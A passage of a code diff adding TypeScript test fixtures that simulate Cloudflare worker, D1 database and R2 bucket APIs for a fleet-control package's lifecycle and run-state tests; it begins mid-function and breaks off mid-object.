+      }
+      throw error;
+    }
+  }
+  async function applicationProbe(
+    request: CloudflareFixtureRequest,
+  ): Promise<Response> {
+    const url = new URL(request.url);
+    const role = roles.find(
+      (role) => url.hostname === manifest.names.roles[role].routeHostname,
+    );
+    if (!role) throw new Error('unknown fixture application role');
+    const adminRoute = ADMIN_ROUTES.includes(url.pathname);
+    if (adminRoute) {
+      if (
+        request.headers.get('authorization') !==
+        `Bearer ${secrets[role].maintenanceAdmin}`
+      )
+        return new Response(null, { status: 401 });
+    } else if (
+      request.headers.get('authorization') !==
+      `Bearer ${secrets[role].application?.APP_PROBE_TOKEN}`
+    )
+      return new Response(null, { status: 401 });
+    const record = await fleetStore.get(
+      manifest.names.roles[role].tenantTag,
+      manifest.environment,
+    );
+    if (!record) throw new Error('missing fixture application record');
+    const database = world.databases.find(
+      (database) => database.databaseId === record.databaseId,
+    );
+    const active = activeVersion(world.scripts.get(record.scriptName));
+    if (!database || !active)
+      throw new Error('missing active fixture application');
+    const releaseBinding = active.bindings.find(
+      (binding) =>
+        binding &&
+        typeof binding === 'object' &&
+        Reflect.get(binding, 'name') === 'APPLICATION_RELEASE',
+    );
+    const release =
+      releaseBinding && typeof releaseBinding === 'object'
+        ? Reflect.get(releaseBinding, 'text')
+        : undefined;
+    if (
+      url.pathname === DIRECT_TENANT_ROUTES.health &&
+      request.method === 'GET'
+    ) {
+      const rows = database.d1.queryDatabase(
+        'SELECT marker FROM direct_conformance_fixture WHERE id=1',
+      );
+      return Response.json({ release, marker: rows[0]?.marker });
+    }
+    if (url.pathname === '/admin/execution-fence')
+      return fixtureExecutionFence(request, database.d1);
+    if (url.pathname === '/admin/inventory')
+      return fixtureInventory(request, url, database.d1);
+    if (
+      url.pathname === DIRECT_TENANT_ROUTES.fenceMutate &&
+      request.method === 'POST'
+    )
+      return fixtureFenceOutcome(
+        database.d1,
+        directTenantMutationEpoch(release),
+      );
+    if (
+      url.pathname === DIRECT_TENANT_ROUTES.fenceProbe &&
+      request.method === 'POST'
+    )
+      return fixtureFenceProbe(request, database.d1, release);
+    const bucket = record.applicationResources?.find(
+      (resource) => resource.name === 'PROBE_BUCKET',
+    );
+    if (!bucket || url.pathname !== DIRECT_TENANT_ROUTES.object)
+      throw new Error('unknown fixture application route');
+    const key = `${bucket.jurisdiction}:${bucket.bucketName}/${DIRECT_TENANT_OBJECT_KEY}`;
+    if (request.method === 'POST') {
+      await applicationBytes.put(key, DIRECT_TENANT_OBJECT_BODY);
+      return new Response(null, { status: 204 });
+    }
+    if (request.method === 'DELETE') {
+      await applicationBytes.delete(key);
+      return new Response(null, { status: 204 });
+    }
+    if (request.method !== 'GET')
+      throw new Error('unexpected fixture application method');
+    const value = await applicationBytes.get(key);
+    return value
+      ? Response.json({
+          present: true,
+          size: value.size,
+          sha256: createHash('sha256')
+            .update(Buffer.from(await value.arrayBuffer()))
+            .digest('hex'),
+        })
+      : Response.json({ present: false });
+  }
+  const projection = recordingFetch(async (request) => {
+    const url = new URL(request.url);
+    const application = specs.some(
+      (spec) => url.origin === `https://${spec.routeHostname}`,
+    );
+    if (application && policy.applicationProbes)
+      return applicationProbe(request);
+    if (
+      application &&
+      policy.applicationFetch &&
+      TENANT_ROUTES.includes(url.pathname)
+    )
+      return policy.applicationFetch(request);
+    const spec = specs.find(
+      (candidate) => candidate.maintenanceBaseUrl === url.origin,
+    );
+    if (spec) {
+      const override = request.headers.get(
+        'Cloudflare-Workers-Version-Overrides',
+      );
+      const script = world.scripts.get(spec.scriptName);
+      if (override) {
+        const selected = override.match(/^([^=]+)="([^"]+)"$/u);
+        if (
+          selected?.[1] !== spec.scriptName ||
+          !script?.versions.some((version) => version.versionId === selected[2])
+        )
+          return new Response('invalid fixture version', { status: 409 });
+      }
+      const view = new Proxy(world, {
+        get(target, key) {
+          if (key === 'maintenanceOrigin') return spec.maintenanceBaseUrl;
+          if (key === 'routeOrigin') return `https://${spec.routeHostname}`;
+          if (key === 'scripts')
+            return new Map(script ? [[spec.scriptName, script]] : []);
+          const value = Reflect.get(target, key);
+          return typeof value === 'function' ? value.bind(target) : value;
+        },
+      });
+      const response =
+        (await maintenanceResponder(view, request)) ??
+        new Response('unknown fixture maintenance route', { status: 404 });
+      if (!response.ok || !policy.maintenanceNow) return response;
+      const body = (await response.json()) as Record<string, unknown>;
+      const now = policy.maintenanceNow();
+      return Response.json({
+        ...body,
+        alarmAt: now + 60_000,
+        lastSweepAt: now,
+        lastPurgeAt: now,
+      });
+    }
+    if (url.origin === 'https://d1-export.example.test') {
+      expect(request.headers.has('Authorization')).toBe(false);
+      return providerRest(request);
+    }
+    if (url.origin !== 'https://api.cloudflare.com')
+      throw new Error('unexpected fixture origin');
+    if (url.pathname.includes(exportObjectsPath)) return providerRest(request);
+    const match = url.pathname.match(
+      /^\/client\/v4\/accounts\/account\/r2\/buckets(?:\/([^/]+)(\/objects)?)?$/u,
+    );
+    if (!match) return providerRest(request);
+    const jurisdiction = request.headers.get('cf-r2-jurisdiction') ?? 'default';
+    const name = match[1] ? decodeURIComponent(match[1]) : undefined;
+    if (!name && request.method === 'POST') {
+      const requested = (request.body as { name?: unknown }).name;
+      const records = await Promise.all(
+        specs.map((spec) => fleetStore.get(spec.tenantTag, spec.environment)),
+      );
+      // `scripts/direct-credentialed-bootstrap.mjs` creates the export bucket
+      // in the `default` jurisdiction, and the first arm answers that create.
+      // The acceptance seeds the bucket into `buckets` ahead of its run, so
+      // there the application-resource arm is the one that admits a POST.
+      const authorized =
+        typeof requested === 'string' &&
+        ((isExportBucket(requested) && jurisdiction === 'default') ||
+          records.some((record) =>
+            record?.applicationResources?.some(
+              (resource) =>
+                resource.bucketName === requested &&
+                resource.jurisdiction === jurisdiction &&
+                resource.state === 'create-authorized',
+            ),
+          ));
+      if (!authorized) throw new Error('unexpected fixture bucket');
+      const key = `${jurisdiction}:${requested}`;
+      if (buckets.has(key))
+        return new Response('bucket exists', { status: 409 });
+      const descriptor = {
+        name: requested,
+        jurisdiction,
+        creation_date: new Date().toISOString(),
+      };
+      buckets.set(key, descriptor);
+      return single(descriptor);
+    }
+    if (!name && request.method === 'GET') {
+      const selected = [...buckets.values()]
+        .filter(
+          (bucket) =>
+            bucket.jurisdiction === jurisdiction &&
+            bucket.name.includes(url.searchParams.get('name_contains') ?? '') &&
+            bucket.name > (url.searchParams.get('start_after') ?? ''),
+        )
+        .sort((a, b) => (a.name < b.name ? -1 : a.name > b.name ? 1 : 0));
+      return single({ buckets: selected });
+    }
+    const key = `${jurisdiction}:${name}`;
+    // The injected `getApplicationR2Bucket` failure is armed against a
+    // tenant's application bucket. The export bucket the run bootstraps is not
+    // one, so this read steps past the failure, as the delete below does.
+    if (
+      !match[2] &&
+      !isExportBucket(name) &&
+      request.method === 'GET' &&
+      world.consumeFailure('getApplicationR2Bucket')
+    )
+      return Response.json(
+        {
+          success: false,
+          errors: [{ code: 10000, message: 'fixture bucket read denied' }],
+        },
+        { status: 403 },
+      );
+    const descriptor = buckets.get(key);
+    if (!descriptor) return Response.json({ errors: [] }, { status: 404 });
+    const prefix = `${key}/`;
+    if (isExportBucket(name) && match[2] && request.method === 'GET') {
+      const objects = await exportBytes.list({
+        prefix: url.searchParams.get('prefix') ?? '',
+      });
+      return single(objects.objects.map(({ key }) => ({ key })));
+    }
+    if (match[2] && request.method === 'GET') {
+      expect(url.searchParams.get('per_page')).toBe('1');
+      const objects = await applicationBytes.list({
+        prefix,
+        limit: 1,
+        ...(url.searchParams.get('cursor')
+          ? { cursor: url.searchParams.get('cursor') as string }
+          : {}),
+      });
+      return Response.json({
+        success: true,
+        errors: [],
+        messages: [],
+        result: objects.objects.map((object) => ({
+          key: object.key.slice(prefix.length),
+        })),
+        result_info: objects.truncated ? { cursor: objects.cursor } : {},
+      });
+    }
+    if (!match[2] && request.method === 'GET') return single(descriptor);
+    if (!match[2] && request.method === 'DELETE') {
+      if (isExportBucket(name)) {
+        // This arm answers before the injected `deleteApplicationR2Bucket`
+        // failure below is consumed: the export bucket the run bootstraps is
+        // not a tenant application resource.
+        const objects = await exportBytes.list({ limit: 1 });
+        if (objects.objects.length)
+          return new Response('bucket nonempty', { status: 409 });
+        buckets.delete(key);
+        return single({});
+      }
+      const failure = world.consumeFailure('deleteApplicationR2Bucket');
+      const failed = () =>
+        Response.json(
+          {
+            success: false,
+            errors: [{ code: 1, message: 'fixture bucket deletion failed' }],
+          },
+          { status: 400 },
+        );
+      if (failure && !failure.dispatched) return failed();
+      const objects = await applicationBytes.list({ prefix, limit: 1 });
+      if (objects.objects.length)
+        return new Response('bucket nonempty', { status: 409 });
+      buckets.delete(key);
+      await world.applyAfter('deleteApplicationR2Bucket');
+      if (failure) return failed();
+      return single({});
+    }
+    throw new Error('unexpected fixture R2 method');
+  });
+
+  let reload: () => Promise<void>;
+  let bridgeUrl: string;
+  async function refreshBindings() {
+    const env = await server
+      .getWorker<{
+        FLEET_DB: D1Database;
+        EXPORTS: R2Bucket;
+        APPLICATION_BYTES: R2Bucket;
+      }>()
+      .getEnv();
+    db = env.FLEET_DB;
+    fleetStore = new D1FleetStateStore(new D1FleetStateDatabase(db), {
+      accountId: binding.accountId,
+    });
+    exportBytes = env.EXPORTS;
+    applicationBytes = env.APPLICATION_BYTES;
+  }
+  async function close() {
+    const closed = await Promise.allSettled([
+      (async () => server?.close())(),
+      (async () => {
+        if (bridge) {
+          bridge.closeAllConnections();
+          await new Promise<void>((resolve, reject) =>
+            bridge.close((error) => (error ? reject(error) : resolve())),
+          );
+        }
+      })(),
+    ]);
+    const failures = closed.flatMap((result) =>
+      result.status === 'rejected' ? [result.reason] : [],
+    );
+    try {
+      if (directory) await rm(directory, { recursive: true, force: true });
+    } catch (error) {
+      failures.push(error);
+    }
+    if (failures.length)
+      throw new AggregateError(
+        failures,
+        'direct lifecycle fixture teardown failed',
+      );
+  }
+
+  try {
+    directory = await mkdtemp(join(tmpdir(), 'direct-lifecycle-'));
+    bridge = createServer(async (incoming, outgoing) => {
+      try {
+        const original = incoming.headers['x-direct-fixture-url'];
+        if (
+          typeof original !== 'string' ||
+          !['/', '/node'].includes(incoming.url ?? '')
+        )
+          throw new Error('invalid fixture bridge request');
+        const headers = new Headers();
+        for (const [name, values] of Object.entries(incoming.headers)) {
+          if (
+            name === 'x-direct-fixture-url' ||
+            name === 'host' ||
+            values === undefined
+          )
+            continue;
+          for (const value of Array.isArray(values) ? values : [values])
+            headers.append(name, value);
+        }
+        const method = incoming.method ?? 'GET';
+        const init = {
+          method,
+          headers,
+          body:
+            method === 'GET' || method === 'HEAD'
+              ? undefined
+              : Readable.toWeb(incoming),
+          duplex: 'half' as const,
+        };
+        const request = new Request(original, init as RequestInit);
+        const body = request.body
+          ? request.headers.get('content-type')?.includes('multipart/form-data')
+            ? await request.formData()
+            : await request.text()
+          : undefined;
+        const referenceOrigin = `https://${manifest.names.referenceWorker}.${binding.accountWorkersDevSubdomain}.workers.dev`;
+        let response: Response;
+        if (
+          incoming.url === '/node' &&
+          original === `${referenceOrigin}${DIRECT_REFERENCE_PATH}`
+        ) {
+          response = await server.getWorker().fetch(original, {
+            method,
+            headers: [...headers],
+            body: body as string,
+          });
+        } else {
+          if (
+            incoming.url === '/node' &&
+            new URL(original).origin !== 'https://api.cloudflare.com'
+          )
+            throw new Error('unexpected Node fixture origin');
+          response = await projection.fetch(original, {
+            method,
+            headers,
+            body,
+            redirect: 'manual',
+          });
+        }
+        if (incoming.url === '/node' && policy.nodeResponse)
+          response = await policy.nodeResponse(request, response);
+        outgoing.writeHead(
+          response.status,
+          Object.fromEntries(response.headers),
+        );
+        outgoing.end(Buffer.from(await response.arrayBuffer()));
+      } catch (error) {
+        bridgeErrors.push(error);
+        outgoing.statusCode = 500;
+        outgoing.end('fixture handler failed');
+      }
+    });
+    await new Promise<void>((resolve) =>
+      bridge.listen(0, '127.0.0.1', resolve),
+    );
+    const address = bridge.address();
+    if (!address || typeof address === 'string')
+      throw new Error('missing fixture listener');
+    bridgeUrl = `http://127.0.0.1:${address.port}/node`;
+    const main = join(directory, 'worker.ts');
+    const workerSource = fileURLToPath(
+      new URL('../../scripts/direct-reference-worker.ts', import.meta.url),
+    );
+    await writeFile(
+      main,
+      `import {createDirectReferenceWorker} from ${JSON.stringify(workerSource)};
+const worker=createDirectReferenceWorker(${JSON.stringify(manifest)},{fetch:async(input,init)=>{const request=new Request(input,init);if(request.url==='data:,')return fetch(request);const headers=new Headers(request.headers);headers.set('X-Direct-Fixture-Url',request.url);return fetch('http://127.0.0.1:${address.port}/',{method:request.method,headers,body:request.body,signal:request.signal,redirect:'manual'});}});
+let instance; export default {async fetch(request,env){instance??=crypto.randomUUID();const response=await worker.fetch(request,{...env,CLOUDFLARE_API_TOKEN:'inert-provider-token',FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET:'inert-invoke',DIRECT_RUN_BINDING:${JSON.stringify(JSON.stringify(binding))},DIRECT_DEPLOYMENT_SECRETS:${JSON.stringify(JSON.stringify(secrets))}});response.headers.set('X-Fixture-Instance',instance);return response;}};`,
+    );
+    const options = {
+      root: directory,
+      workers: [
+        {
+          config: {
+            name: 'direct-lifecycle-harness',
+            main,
+            compatibility_date: '2026-08-06',
+            compatibility_flags: [
+              'nodejs_compat',
+              'global_fetch_strictly_public',
+            ],
+            d1_databases: [
+              {
+                binding: 'FLEET_DB',
+                database_name: 'lifecycle-fleet',
+                database_id: binding.fleetDatabaseId,
+              },
+              {
+                binding: 'QUOTA_DB',
+                database_name: 'lifecycle-quota',
+                database_id: binding.quotaDatabaseId,
+              },
+            ],
+            r2_buckets: [
+              { binding: 'EXPORTS', bucket_name: binding.exportBucketName },
+              {
+                binding: 'APPLICATION_BYTES',
+                bucket_name: 'fixture-application-bytes',
+              },
+            ],
+          },
+        },
+      ],
+    };
+    server = createTestHarness(options);
+    let revision = 0;
+    reload = async () => {
+      await server.update({
+        ...options,
+        workers: options.workers.map((worker) => ({
+          ...worker,
+          config: {
+            ...worker.config,
+            vars: { TEST_RELOAD: String(++revision) },
+          },
+        })),
+      });
+      await refreshBindings();
+    };
+    await server.listen();
+    await refreshBindings();
+  } catch (error) {
+    try {
+      await close();
+    } catch (cleanupError) {
+      throw new AggregateError(
+        [error, cleanupError],
+        'direct fixture startup and cleanup failed',
+      );
+    }
+    throw error;
+  }
+  async function call(action: DirectReferenceAction) {
+    const response = await server
+      .getWorker()
+      .fetch(`https://reference.test${DIRECT_REFERENCE_PATH}`, {
+        method: 'POST',
+        headers: { authorization: 'Bearer inert-invoke' },
+        body: JSON.stringify({
+          contractVersion: 1,
+          configSha256: manifest.configSha256,
+          action,
+        }),
+      });
+    return {
+      response,
+      value: (await response.json()) as {
+        ok: boolean;
+        result?: unknown;
+        error?: unknown;
+      },
+    };
+  }
+
+  async function success<T>(action: DirectReferenceAction): Promise<T> {
+    const { response, value } = await call(action);
+    expect(bridgeErrors).toEqual([]);
+    expect({ status: response.status, value }).toMatchObject({
+      status: 200,
+      value: { ok: true },
+    });
+    return value.result as T;
+  }
+
+  function journal() {
+    return new DirectReferenceJournal(
+      db,
+      manifest.resourcePrefix,
+      JSON.stringify({
+        configSha256: manifest.configSha256,
+        binding,
+        quotaScope: manifest.resourcePrefix,
+        tenantSecretsSha256: createHash('sha256')
+          .update(JSON.stringify(secrets))
+          .digest('hex'),
+      }),
+    );
+  }
+
+  return {
+    manifest,
+    binding,
+    secrets,
+    specs,
+    world,
+    projection,
+    get db() {
+      return db;
+    },
+    get fleetStore() {
+      return fleetStore;
+    },
+    get applicationBytes() {
+      return applicationBytes;
+    },
+    get exportBytes() {
+      return exportBytes;
+    },
+    buckets,
+    versionRuntime,
+    bridgeErrors,
+    sqlFailures,
+    bridgeUrl,
+    fetch: (async (input, init) => {
+      const request = new Request(input, init);
+      const headers = new Headers(request.headers);
+      headers.set('X-Direct-Fixture-Url', request.url);
+      return fetch(bridgeUrl, {
+        method: request.method,
+        headers,
+        body: request.body,
+        signal: request.signal,
+        redirect: 'manual',
+        duplex: 'half',
+      } as RequestInit);
+    }) as typeof fetch,
+    call,
+    success,
+    journal,
+    reload,
+    close,
+  };
+}
+export type DirectReferenceHarness = Awaited<
+  ReturnType<typeof createDirectReferenceHarness>
+>;
diff --git a/packages/fleet-control/test/fixtures/direct-run-state-builder.ts b/packages/fleet-control/test/fixtures/direct-run-state-builder.ts
new file mode 100644
index 00000000..a6aa2b1e
--- /dev/null
+++ b/packages/fleet-control/test/fixtures/direct-run-state-builder.ts
@@ -0,0 +1,774 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { createHash } from 'node:crypto';
+import { mkdtemp, readFile, rm, writeFile } from 'node:fs/promises';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import { preflightDirectConformance } from '../../scripts/direct-credentialed-conformance-preflight.mjs';
+import {
+  DIRECT_RESIDUAL_SURFACES,
+  DIRECT_TEARDOWN_MAXIMA,
+} from '../../scripts/direct-credentialed-reference-vocabulary.mjs';
+import {
+  DIRECT_SCENARIO_ARRAY_MAXIMA,
+  DIRECT_SCENARIO_OPERATION_SLOTS,
+  type DirectBootstrapContext,
+  type DirectBootstrapMutationReceipt,
+  type DirectResidualObservation,
+  type DirectRunJournal,
+  type DirectTeardownState,
+  openDirectRunState,
+} from '../../scripts/direct-credentialed-run-state.mjs';
+import type { DirectScenarioState } from '../../scripts/direct-credentialed-scenario.mjs';
+import { DIRECT_SCENARIO_PHASES } from '../../scripts/direct-credentialed-scenario-budget.mjs';
+
+export const directories: string[] = [];
+export const journals = new Set<DirectRunJournal>();
+export const hash = (value: string) =>
+  createHash('sha256').update(value).digest('hex');
+export type Mutable<T> = T extends readonly (infer Entry)[]
+  ? Mutable<Entry>[]
+  : T extends object
+    ? { -readonly [Key in keyof T]: Mutable<T[Key]> }
+    : T;
+export type MutableScenario = Mutable<DirectScenarioState>;
+
+export function first<Entry>(entries: readonly Entry[]): Entry {
+  const [entry] = entries;
+  if (entry === undefined) throw new Error('empty scenario fixture array');
+  return entry;
+}
+
+export function present<Value>(value: Value | null | undefined): Value {
+  if (value === null || value === undefined)
+    throw new Error('absent scenario fixture value');
+  return value;
+}
+
+export async function fixture(limit = 3, disposableAccount = true) {
+  const directory = await mkdtemp(join(tmpdir(), 'direct-run-state-'));
+  directories.push(directory);
+  const config = JSON.parse(
+    await readFile(
+      new URL(
+        '../../scripts/direct-credentialed-conformance.example.json',
+        import.meta.url,
+      ),
+      'utf8',
+    ),
+  );
+  config.disposableAccount = disposableAccount;
+  const reference =
+    "import manifest from './direct-run-manifest.js'; export default {fetch(){return Response.json(manifest.contractVersion)}};";
+  const tenant =
+    'export class Maintenance {} export class Runner {} export default {};';
+  config.referenceWorker.artifact = {
+    bundle: './reference.mjs',
+    mainModule: 'worker.js',
+    sha256: hash(reference),
+  };
+  config.referenceWorker.maxInvocations = limit;
+  config.deployment.artifact = {
+    bundle: './tenant.mjs',
+    mainModule: 'worker.js',
+    sha256: hash(tenant),
+  };
+  const configPath = join(directory, 'config.json');
+  await writeFile(configPath, JSON.stringify(config));
+  await writeFile(join(directory, 'reference.mjs'), reference);
+  await writeFile(join(directory, 'tenant.mjs'), tenant);
+  const prepared = await preflightDirectConformance({
+    configPath,
+    now: Date.parse('2026-09-10T12:00:00Z'),
+  });
+  const base = join(directory, '.direct-conformance');
+  const runDirectory = join(base, config.resourcePrefix);
+  const lockPath = join(base, `${config.resourcePrefix}.lock`);
+  const input = { configPath, prepared, accountId: 'account' };
+  const request = (action: unknown = { kind: 'control-read' }) =>
+    JSON.stringify({
+      contractVersion: 1,
+      configSha256: prepared.configSha256,
+      action,
+    });
+  return {
+    directory,
+    configPath,
+    prepared,
+    base,
+    runDirectory,
+    lockPath,
+    input,
+    request,
+  };
+}
+
+export async function opened(input: Parameters<typeof openDirectRunState>[0]) {
+  const journal = await openDirectRunState(input);
+  journals.add(journal);
+  return journal;
+}
+
+export async function closed(journal: DirectRunJournal) {
+  await journal.close();
+  journals.delete(journal);
+}
+
+export async function cleanupDirectRunState() {
+  try {
+    await Promise.all([...journals].map((journal) => journal.close()));
+  } finally {
+    journals.clear();
+    await Promise.all(
+      directories
+        .splice(0)
+        .map((directory) => rm(directory, { recursive: true, force: true })),
+    );
+  }
+}
+
+export function bootstrapContext(
+  f: Awaited<ReturnType<typeof fixture>>,
+): DirectBootstrapContext {
+  return {
+    names: f.prepared.names,
+    zoneId: 'zone',
+    zoneName: 'example.test',
+    accountWorkersDevSubdomain: 'attested-account',
+    dispatch: { kind: 'empty', count: 0 },
+  };
+}
+
+export function receipts(f: Awaited<ReturnType<typeof fixture>>) {
+  return [
+    {
+      kind: 'create-fleet-d1',
+      receipt: { uuid: 'fleet-uuid', name: f.prepared.names.fleetDatabase },
+    },
+    {
+      kind: 'create-quota-d1',
+      receipt: { uuid: 'quota-uuid', name: f.prepared.names.quotaDatabase },
+    },
+    {
+      kind: 'create-export-r2',
+      receipt: {
+        name: f.prepared.names.exportBucket,
+        jurisdiction: 'default',
+        creationDate: '2026-09-10T00:00:00.000Z',
+      },
+    },
+    {
+      kind: 'upload-reference',
+      receipt: {
+        scriptName: f.prepared.names.referenceWorker,
+        tag: null,
+        etag: null,
+      },
+    },
+    {
+      kind: 'enable-reference-ingress',
+      receipt: { enabled: true, previewsEnabled: false },
+    },
+  ] as const satisfies readonly DirectBootstrapMutationReceipt[];
+}
+
+export async function confirmedBootstrap(
+  f: Awaited<ReturnType<typeof fixture>>,
+  journal: DirectRunJournal,
+) {
+  await journal.bindBootstrapContext(bootstrapContext(f));
+  for (const value of receipts(f)) {
+    if (value.kind === 'enable-reference-ingress')
+      await journal.recordBootstrapObservation({
+        kind: 'active',
+        deploymentId: 'deployment',
+        versionId: 'version',
+      });
+    await journal.beginBootstrapMutation(value.kind);
+    await journal.confirmBootstrapMutation(value);
+  }
+}
+
+export const MAX_ID = 'z'.repeat(128);
+export const MAX_COUNT = Number.MAX_SAFE_INTEGER;
+export const DIGEST = 'a'.repeat(64);
+export const LOCATION = `r2://${'p'.repeat(700)}`;
+export const DATE = '2026-09-10T00:00:00.000Z';
+export const PROCESS = {
+  pid: MAX_COUNT,
+  startTicks: '1000',
+  bootId: MAX_ID,
+};
+export const RESUMED = {
+  pid: MAX_COUNT - 1,
+  startTicks: '2000',
+  bootId: MAX_ID,
+};
+
+export function workerVersion(
+  role: 'a' | 'b' | 'recovery',
+  applicationRelease: '1' | '2',
+  trafficPercentage: number,
+) {
+  return {
+    role,
+    versionId: MAX_ID,
+    databaseId: MAX_ID,
+    specDigest: DIGEST,
+    applicationRelease,
+    accountId: MAX_ID,
+    tenantTag: MAX_ID,
+    environment: MAX_ID,
+    scriptName: MAX_ID,
+    currentDeployment: {
+      deploymentId: MAX_ID,
+      activeVersionId: MAX_ID,
+      versions: [
+        { versionId: MAX_ID, percentage: 100 },
+        { versionId: MAX_ID, percentage: 0 },
+      ],
+    },
+    trafficPercentage,
+    cpuLimitMs: MAX_COUNT,
+    subrequestLimit: MAX_COUNT,
+    schemaVersion: 2,
+    namespaces: [
+      {
+        binding: 'MAINTENANCE' as const,
+        className: 'Maintenance' as const,
+        namespaceId: MAX_ID,
+      },
+      {
+        binding: 'RUNNER' as const,
+        className: 'Runner' as const,
+        namespaceId: MAX_ID,
+      },
+    ],
+    bucket: {
+      name: MAX_ID,
+      jurisdiction: 'default' as const,
+      creationDate: DATE,
+    },
+  };
+}
+
+export function exportProof(role: 'a' | 'b') {
+  return {
+    verified: true as const,
+    role,
+    receipt: {
+      version: 1 as const,
+      authority: LOCATION,
+      databaseId: MAX_ID,
+      operationId: MAX_ID,
+    },
+    location: LOCATION,
+    size: MAX_COUNT,
+    sha256: DIGEST,
+    sourceInvocationOrdinal: 1,
+  };
+}
+
+export function footprint() {
+  return {
+    version: 1 as const,
+    role: 'recovery' as const,
+    beforeIdentitySha256: DIGEST,
+    fleetRecordPresent: false as const,
+    deploymentClaimsPresent: false as const,
+    database: { id: MAX_ID, expectedName: MAX_ID, observedName: null },
+    worker: {
+      scriptName: MAX_ID,
+      scriptPresent: true,
+      workersDevEnabled: false as const,
+      previewUrlsEnabled: false as const,
+      customDomains: [],
+      zoneRoutes: [],
+      currentSecretNames: [],
+      currentVersionIds: Array.from({ length: 8 }, () => MAX_ID),
+      currentNamespaceIds: [MAX_ID, MAX_ID],
+      survivingRecordedNamespaceIds: [MAX_ID, MAX_ID],
+    },
+    buckets: [
+      {
+        bindingName: 'PROBE_BUCKET' as const,
+        bucketName: MAX_ID,
+        jurisdiction: 'default' as const,
+        expectedCreationDate: DATE,
+        observedCreationDate: DATE,
+      },
+    ],
+    priorCleanup: {
+      operationId: MAX_ID,
+      observedReceiptSha256: DIGEST,
+      matchesBefore: true as const,
+    },
+  };
+}
+
+export function inventoryProof() {
+  return {
+    operationId: MAX_ID,
+    generation: MAX_COUNT,
+    calls: MAX_COUNT,
+    databaseIds: [MAX_ID, MAX_ID],
+    namespaceIds: Array.from({ length: 4 }, () => MAX_ID),
+    scriptNames: [MAX_ID, MAX_ID],
+    routeHostnames: Array.from({ length: 2 }, () =>
+      [63, 63, 63, 61].map((length) => 'a'.repeat(length)).join('.'),
+    ),
+    bucketNames: [MAX_ID, MAX_ID],
+    findings: Array.from({ length: 32 }, () => ({
+      kind: MAX_ID,
+      detailSha256: DIGEST,
+    })),
+  };
+}
+
+export function auditProof() {
+  return {
+    operationId: MAX_ID,
+    generation: MAX_COUNT,
+    recordCount: 2 as const,
+    findingCount: 16,
+    finalizedAtMs: MAX_COUNT,
+    findings: Array.from({ length: 16 }, () => ({
+      tenantTag: MAX_ID,
+      environment: MAX_ID,
+      kind: MAX_ID,
+      detailSha256: DIGEST,
+    })),
+  };
+}
+
+/**
+ * The largest scenario the journal admits. `callKind` selects the kind of the
+ * settled call it carries in `lastCall` and `mutation`; the default is the
+ * larger of the two, so a caller that does not choose still bounds the journal.
+ */
+export function maximalScenario(
+  callKind: 'audit-page' | 'force-terminal' = 'force-terminal',
+): MutableScenario {
+  const fenceReading = () => ({
+    state: 'migration-locked' as const,
+    mutationEpoch: MAX_COUNT,
+    requireMutationEpoch: false,
+    transitionRevision: MAX_COUNT,
+  });
+  const fenceTransition = () => ({
+    before: fenceReading(),
+    after: fenceReading(),
+    ordinal: 3,
+  });
+  const fenceSweep = () => ({
+    fence: fenceReading(),
+    categories: Array.from(
+      { length: DIRECT_SCENARIO_ARRAY_MAXIMA.inventoryCategories },
+      () => ({ category: MAX_ID, class: 'standing' as const, empty: false }),
+    ),
+    observedAt: MAX_COUNT,
+    ordinal: 3,
+  });
+  const fenceSweeps = () => ({
+    first: fenceSweep(),
+    second: fenceSweep(),
+    intervalMs: MAX_COUNT,
+  });
+  const fenceProbes = () => ({
+    current: 'accepted' as const,
+    missing: 'missing' as const,
+    stale: 'stale' as const,
+    future: 'future' as const,
+    mutationEpoch: MAX_COUNT,
+    ordinal: 3,
+  });
+  const phaseCalls = Object.fromEntries(
+    DIRECT_SCENARIO_PHASES.map((phase) => [phase, 0]),
+  ) as MutableScenario['phaseCalls'];
+  phaseCalls['provision-a'] = 3;
+  const settled = {
+    ordinal: 3,
+    outcome: 'returned' as const,
+    attempts: {
+      provider: MAX_COUNT,
+      maintenance: MAX_COUNT,
+      application: MAX_COUNT,
+    },
+  };
+  // Each kind carries the largest call of its own shape, built here and
+  // nowhere else: `force-terminal` is the larger of the two, which is why it
+  // is the default the journal-capacity fixtures take.
+  const call =
+    callKind === 'force-terminal'
+      ? {
+          ...settled,
+          action: { kind: 'force-terminal' as const, role: 'a' as const },
+          migration: null,
+          before: { databaseId: MAX_ID, scriptName: MAX_ID },
+        }
+      : {
+          ...settled,
+          action: {
+            kind: 'audit-page' as const,
+            slot: 'audit-after' as const,
+            limit: 32,
+            afterOrdinal: 1,
+          },
+          migration: {
+            itemOrdinal: 0 as const,
+            cursor: MAX_COUNT,
+            step: MAX_ID,
+            itemsSha256: DIGEST,
+          },
+        };
+  return {
+    version: 1,
+    phase: 'provision-a',
+    startedOrdinal: 0,
+    callCount: 3,
+    phaseCalls,
+    attempts: {
+      provider: MAX_COUNT,
+      maintenance: MAX_COUNT,
+      application: MAX_COUNT,
+    },
+    sdkRequests: MAX_COUNT,
+    inventoryCalls: { before: MAX_COUNT, after: MAX_COUNT },
+    lastCall: call,
+    mutation: call,
+    reconciledOrdinal: 3,
+    operations: DIRECT_SCENARIO_OPERATION_SLOTS.map((slot) => ({
+      slot,
+      operationId: MAX_ID,
+      inputSha256: DIGEST,
+      tokenRevision: 3,
+    })),
+    records: (['a', 'b', 'recovery'] as const).map((role) => ({
+      role,
+      present: true,
+      phase: MAX_ID,
+      desiredSpecDigest: DIGEST,
+      pendingSpecDigest: DIGEST,
+      artifactVersion: MAX_ID,
+      pendingArtifactVersion: MAX_ID,
+      databaseId: MAX_ID,
+    })),
+    failure: {
+      code: 'observation-mismatch',
+      ordinal: MAX_COUNT,
+      detail: 'below-scenario-floor' as const,
+    },
+    proofs: {
+      initial: {
+        a: workerVersion('a', '1', 100),
+        b: workerVersion('b', '1', 100),
+        recovery: workerVersion('recovery', '1', 100),
+      },
+      candidate: {
+        a: workerVersion('a', '2', 0),
+        b: workerVersion('b', '2', 0),
+      },
+      final: {
+        a: workerVersion('a', '2', 100),
+        b: workerVersion('b', '2', 100),
+      },
+      objects: {
+        a: { size: MAX_COUNT, sha256: DIGEST },
+        b: { size: MAX_COUNT, sha256: DIGEST },
+      },
+      objectDeletions: { a: 1, b: 1 },
+      recoveryExportAbsent: { beforeOrdinal: 1, afterOrdinal: 2 },
+      health: [
+        {
+          role: 'a' as const,
+          release: '1' as const,
+          marker: 'initial' as const,
+          ordinal: 1,
+        },
+        {
